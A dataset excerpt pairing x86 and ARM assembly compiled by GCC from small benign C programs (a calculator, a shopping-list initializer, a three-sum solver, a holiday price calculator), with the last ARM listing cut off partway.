x86
stringlengths 321
9M
| arm
stringlengths 335
9.68M
|
---|---|
.file "1005123.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d %d"
.LC1:
.string "a + b = %d \n"
.LC2:
.string "a - b = %d \n"
.LC3:
.string "a * b = %d \n"
.LC4:
.string "a / b = %d \n"
.LC5:
.string "a %% b = %d \n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdx, -16[rbp]
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -20[rbp]
mov eax, DWORD PTR -16[rbp]
add eax, edx
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -20[rbp]
mov edx, DWORD PTR -16[rbp]
sub eax, edx
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov edx, DWORD PTR -20[rbp]
mov eax, DWORD PTR -16[rbp]
imul eax, edx
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -20[rbp]
mov ecx, DWORD PTR -16[rbp]
cdq
idiv ecx
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -20[rbp]
mov ecx, DWORD PTR -16[rbp]
cdq
idiv ecx
mov DWORD PTR -12[rbp], edx
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "1005123.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d %d\000"
.align 2
.LC1:
.ascii "a + b = %d \012\000"
.align 2
.LC2:
.ascii "a - b = %d \012\000"
.align 2
.LC3:
.ascii "a * b = %d \012\000"
.global __aeabi_idiv
.align 2
.LC4:
.ascii "a / b = %d \012\000"
.global __aeabi_idivmod
.align 2
.LC5:
.ascii "a %% b = %d \012\000"
.align 2
.LC6:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r2, fp, #16
sub r3, fp, #20
mov r1, r3
ldr r0, .L4+4
bl __isoc99_scanf
ldr r2, [fp, #-20]
ldr r3, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-12]
ldr r1, [fp, #-12]
ldr r0, .L4+8
bl printf
ldr r2, [fp, #-20]
ldr r3, [fp, #-16]
sub r3, r2, r3
str r3, [fp, #-12]
ldr r1, [fp, #-12]
ldr r0, .L4+12
bl printf
ldr r3, [fp, #-20]
ldr r2, [fp, #-16]
mul r3, r2, r3
str r3, [fp, #-12]
ldr r1, [fp, #-12]
ldr r0, .L4+16
bl printf
ldr r3, [fp, #-20]
ldr r2, [fp, #-16]
mov r1, r2
mov r0, r3
bl __aeabi_idiv
mov r3, r0
str r3, [fp, #-12]
ldr r1, [fp, #-12]
ldr r0, .L4+20
bl printf
ldr r3, [fp, #-20]
ldr r2, [fp, #-16]
mov r1, r2
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
str r3, [fp, #-12]
ldr r1, [fp, #-12]
ldr r0, .L4+24
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC6
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word .LC5
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "707682.c"
.intel_syntax noprefix
.text
.globl init_shopping
.bss
.align 16
.type init_shopping, @object
.size init_shopping, 24
init_shopping:
.zero 24
.section .rodata
.LC0:
.string "cheese"
.LC1:
.string "wine"
.LC2:
.string "dessert"
.text
.globl shopping_list
.type shopping_list, @function
shopping_list:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rax, .LC0[rip]
mov QWORD PTR init_shopping[rip], rax
lea rax, .LC1[rip]
mov QWORD PTR init_shopping[rip+8], rax
lea rax, .LC2[rip]
mov QWORD PTR init_shopping[rip+16], rax
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size shopping_list, .-shopping_list
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "707682.c"
.text
.comm init_shopping,12,4
.section .rodata
.align 2
.LC0:
.ascii "cheese\000"
.align 2
.LC1:
.ascii "wine\000"
.align 2
.LC2:
.ascii "dessert\000"
.text
.align 2
.global shopping_list
.syntax unified
.arm
.fpu softvfp
.type shopping_list, %function
shopping_list:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L2
ldr r2, .L2+4
str r2, [r3]
ldr r3, .L2
ldr r2, .L2+8
str r2, [r3, #4]
ldr r3, .L2
ldr r2, .L2+12
str r2, [r3, #8]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L3:
.align 2
.L2:
.word init_shopping
.word .LC0
.word .LC1
.word .LC2
.size shopping_list, .-shopping_list
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "560396.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 7
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "560396.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #7
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "642528.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 32
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "642528.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #32
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "44175.c"
.intel_syntax noprefix
.text
.globl key_array
.bss
.align 32
.type key_array, @object
.size key_array, 262144
key_array:
.zero 262144
.globl bucket_size
.align 32
.type bucket_size, @object
.size bucket_size, 2048
bucket_size:
.zero 2048
.text
.globl foo
.type foo, @function
foo:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -4[rbp], 0
jmp .L2
.L3:
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, key_array[rip]
mov edx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -20[rbp]
mov ecx, eax
sar edx, cl
mov eax, edx
movsx rdx, eax
lea rcx, 0[0+rdx*4]
lea rdx, bucket_size[rip]
mov edx, DWORD PTR [rcx+rdx]
lea ecx, 1[rdx]
cdqe
lea rdx, 0[0+rax*4]
lea rax, bucket_size[rip]
mov DWORD PTR [rdx+rax], ecx
add DWORD PTR -4[rbp], 1
.L2:
cmp DWORD PTR -4[rbp], 65535
jle .L3
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size foo, .-foo
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "44175.c"
.text
.comm key_array,262144,4
.comm bucket_size,2048,4
.align 2
.global foo
.syntax unified
.arm
.fpu softvfp
.type foo, %function
foo:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
mov r3, #0
str r3, [fp, #-8]
b .L2
.L3:
ldr r2, .L4
ldr r3, [fp, #-8]
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-16]
asr r3, r2, r3
ldr r2, .L4+4
ldr r2, [r2, r3, lsl #2]
add r2, r2, #1
ldr r1, .L4+4
str r2, [r1, r3, lsl #2]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L2:
ldr r3, [fp, #-8]
cmp r3, #65536
blt .L3
nop
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L5:
.align 2
.L4:
.word key_array
.word bucket_size
.size foo, .-foo
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "929992.c"
.intel_syntax noprefix
.text
.type compare, @function
compare:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
mov ecx, DWORD PTR [rax]
mov eax, edx
sub eax, ecx
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size compare, .-compare
.globl threeSumClosest
.type threeSumClosest, @function
threeSumClosest:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov DWORD PTR -44[rbp], esi
mov DWORD PTR -48[rbp], edx
mov DWORD PTR -28[rbp], 0
mov DWORD PTR -24[rbp], 2147483647
mov eax, DWORD PTR -44[rbp]
movsx rsi, eax
mov rax, QWORD PTR -40[rbp]
lea rcx, compare[rip]
mov edx, 4
mov rdi, rax
call qsort@PLT
mov eax, DWORD PTR -44[rbp]
sub eax, 1
mov DWORD PTR -20[rbp], eax
jmp .L4
.L11:
mov DWORD PTR -16[rbp], 0
mov eax, DWORD PTR -20[rbp]
sub eax, 1
mov DWORD PTR -12[rbp], eax
jmp .L5
.L10:
mov eax, DWORD PTR -16[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -12[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
mov eax, DWORD PTR [rax]
add edx, eax
mov eax, DWORD PTR -20[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
mov eax, DWORD PTR [rax]
add eax, edx
mov DWORD PTR -8[rbp], eax
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -48[rbp]
jne .L6
mov eax, DWORD PTR -48[rbp]
jmp .L7
.L6:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -48[rbp]
jge .L8
add DWORD PTR -16[rbp], 1
jmp .L9
.L8:
sub DWORD PTR -12[rbp], 1
.L9:
mov eax, DWORD PTR -48[rbp]
sub eax, DWORD PTR -8[rbp]
cdq
xor eax, edx
mov DWORD PTR -4[rbp], eax
sub DWORD PTR -4[rbp], edx
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -24[rbp]
jge .L5
mov eax, DWORD PTR -8[rbp]
mov DWORD PTR -28[rbp], eax
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR -24[rbp], eax
.L5:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -12[rbp]
jl .L10
sub DWORD PTR -20[rbp], 1
.L4:
cmp DWORD PTR -20[rbp], 1
jg .L11
mov eax, DWORD PTR -28[rbp]
.L7:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size threeSumClosest, .-threeSumClosest
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "929992.c"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type compare, %function
compare:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-8]
ldr r2, [r3]
ldr r3, [fp, #-12]
ldr r3, [r3]
sub r3, r2, r3
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size compare, .-compare
.align 2
.global threeSumClosest
.syntax unified
.arm
.fpu softvfp
.type threeSumClosest, %function
threeSumClosest:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
mov r3, #0
str r3, [fp, #-32]
mvn r3, #-2147483648
str r3, [fp, #-28]
ldr r1, [fp, #-44]
ldr r3, .L12
mov r2, #4
ldr r0, [fp, #-40]
bl qsort
ldr r3, [fp, #-44]
sub r3, r3, #1
str r3, [fp, #-24]
b .L4
.L11:
mov r3, #0
str r3, [fp, #-20]
ldr r3, [fp, #-24]
sub r3, r3, #1
str r3, [fp, #-16]
b .L5
.L10:
ldr r3, [fp, #-20]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r1, [fp, #-40]
add r3, r1, r3
ldr r3, [r3]
add r2, r2, r3
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r1, [fp, #-40]
add r3, r1, r3
ldr r3, [r3]
add r3, r2, r3
str r3, [fp, #-12]
ldr r2, [fp, #-12]
ldr r3, [fp, #-48]
cmp r2, r3
bne .L6
ldr r3, [fp, #-48]
b .L7
.L6:
ldr r2, [fp, #-12]
ldr r3, [fp, #-48]
cmp r2, r3
bge .L8
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
b .L9
.L8:
ldr r3, [fp, #-16]
sub r3, r3, #1
str r3, [fp, #-16]
.L9:
ldr r2, [fp, #-48]
ldr r3, [fp, #-12]
sub r3, r2, r3
cmp r3, #0
rsblt r3, r3, #0
str r3, [fp, #-8]
ldr r2, [fp, #-8]
ldr r3, [fp, #-28]
cmp r2, r3
bge .L5
ldr r3, [fp, #-12]
str r3, [fp, #-32]
ldr r3, [fp, #-8]
str r3, [fp, #-28]
.L5:
ldr r2, [fp, #-20]
ldr r3, [fp, #-16]
cmp r2, r3
blt .L10
ldr r3, [fp, #-24]
sub r3, r3, #1
str r3, [fp, #-24]
.L4:
ldr r3, [fp, #-24]
cmp r3, #1
bgt .L11
ldr r3, [fp, #-32]
.L7:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L13:
.align 2
.L12:
.word compare
.size threeSumClosest, .-threeSumClosest
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "232590.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%s %s"
.LC1:
.string "%d %d"
.LC3:
.string "Winter"
.LC4:
.string "boys"
.LC6:
.string "girls"
.LC7:
.string "mixed"
.LC9:
.string "Spring"
.LC12:
.string "Summer"
.LC18:
.string "%s %.2lf lv."
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdx, -64[rbp]
lea rax, -96[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rdx, -108[rbp]
lea rax, -112[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
pxor xmm0, xmm0
movsd QWORD PTR -104[rbp], xmm0
lea rax, -96[rbp]
lea rsi, .LC3[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L2
lea rax, -64[rbp]
lea rsi, .LC4[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L3
mov eax, DWORD PTR -112[rbp]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC5[rip]
mulsd xmm1, xmm0
mov eax, DWORD PTR -108[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
lea rax, -32[rbp]
mov DWORD PTR [rax], 1868854602
mov BYTE PTR 4[rax], 0
jmp .L4
.L3:
lea rax, -64[rbp]
lea rsi, .LC6[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L5
mov eax, DWORD PTR -112[rbp]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC5[rip]
mulsd xmm1, xmm0
mov eax, DWORD PTR -108[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
lea rax, -32[rbp]
movabs rcx, 7598825333582559559
mov QWORD PTR [rax], rcx
mov WORD PTR 8[rax], 29539
mov BYTE PTR 10[rax], 0
jmp .L4
.L5:
lea rax, -64[rbp]
lea rsi, .LC7[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L4
mov eax, DWORD PTR -112[rbp]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC8[rip]
mulsd xmm1, xmm0
mov eax, DWORD PTR -108[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
lea rax, -32[rbp]
mov DWORD PTR [rax], 6908755
jmp .L4
.L2:
lea rax, -96[rbp]
lea rsi, .LC9[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L6
lea rax, -64[rbp]
lea rsi, .LC4[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L7
mov eax, DWORD PTR -112[rbp]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC10[rip]
mulsd xmm1, xmm0
mov eax, DWORD PTR -108[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
lea rax, -32[rbp]
mov DWORD PTR [rax], 1852728660
mov WORD PTR 4[rax], 29545
mov BYTE PTR 6[rax], 0
jmp .L4
.L7:
lea rax, -64[rbp]
lea rsi, .LC6[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L8
mov eax, DWORD PTR -112[rbp]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC10[rip]
mulsd xmm1, xmm0
mov eax, DWORD PTR -108[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
lea rax, -32[rbp]
movabs rcx, 7163384661268788289
mov QWORD PTR [rax], rcx
mov WORD PTR 8[rax], 115
jmp .L4
.L8:
lea rax, -64[rbp]
lea rsi, .LC7[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L4
mov eax, DWORD PTR -112[rbp]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC11[rip]
mulsd xmm1, xmm0
mov eax, DWORD PTR -108[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
lea rax, -32[rbp]
movabs rcx, 29113321670277443
mov QWORD PTR [rax], rcx
jmp .L4
.L6:
lea rax, -96[rbp]
lea rsi, .LC12[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L4
lea rax, -64[rbp]
lea rsi, .LC4[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L9
mov eax, DWORD PTR -112[rbp]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC13[rip]
mulsd xmm1, xmm0
mov eax, DWORD PTR -108[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
lea rax, -32[rbp]
movabs rcx, 7812726529069117254
mov QWORD PTR [rax], rcx
mov BYTE PTR 8[rax], 0
jmp .L4
.L9:
lea rax, -64[rbp]
lea rsi, .LC6[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L10
mov eax, DWORD PTR -112[rbp]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC13[rip]
mulsd xmm1, xmm0
mov eax, DWORD PTR -108[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
lea rax, -32[rbp]
movabs rdx, 7017304645914357590
mov QWORD PTR [rax], rdx
mov WORD PTR 8[rax], 27756
mov BYTE PTR 10[rax], 0
jmp .L4
.L10:
lea rax, -64[rbp]
lea rsi, .LC7[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L4
mov eax, DWORD PTR -112[rbp]
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC14[rip]
mulsd xmm1, xmm0
mov eax, DWORD PTR -108[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
lea rax, -32[rbp]
movabs rcx, 7453010352052729683
mov QWORD PTR [rax], rcx
mov BYTE PTR 8[rax], 0
.L4:
mov eax, DWORD PTR -112[rbp]
cmp eax, 49
jle .L11
movsd xmm1, QWORD PTR -104[rbp]
movsd xmm0, QWORD PTR .LC15[rip]
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
jmp .L12
.L11:
mov eax, DWORD PTR -112[rbp]
cmp eax, 19
jle .L13
mov eax, DWORD PTR -112[rbp]
cmp eax, 49
jg .L13
movsd xmm1, QWORD PTR -104[rbp]
movsd xmm0, QWORD PTR .LC16[rip]
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
jmp .L12
.L13:
mov eax, DWORD PTR -112[rbp]
cmp eax, 9
jle .L12
mov eax, DWORD PTR -112[rbp]
cmp eax, 19
jg .L12
movsd xmm1, QWORD PTR -104[rbp]
movsd xmm0, QWORD PTR .LC17[rip]
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
.L12:
mov rdx, QWORD PTR -104[rbp]
lea rax, -32[rbp]
movq xmm0, rdx
mov rsi, rax
lea rdi, .LC18[rip]
mov eax, 1
call printf@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L15
call __stack_chk_fail@PLT
.L15:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 8
.LC5:
.long 858993459
.long 1076048691
.align 8
.LC8:
.long 0
.long 1076101120
.align 8
.LC10:
.long -858993459
.long 1075629260
.align 8
.LC11:
.long 0
.long 1076035584
.align 8
.LC13:
.long 0
.long 1076756480
.align 8
.LC14:
.long 0
.long 1077149696
.align 8
.LC15:
.long 0
.long 1071644672
.align 8
.LC16:
.long 858993459
.long 1072378675
.align 8
.LC17:
.long 1717986918
.long 1072588390
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "232590.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%s %s\000"
.align 2
.LC1:
.ascii "%d %d\000"
.align 2
.LC2:
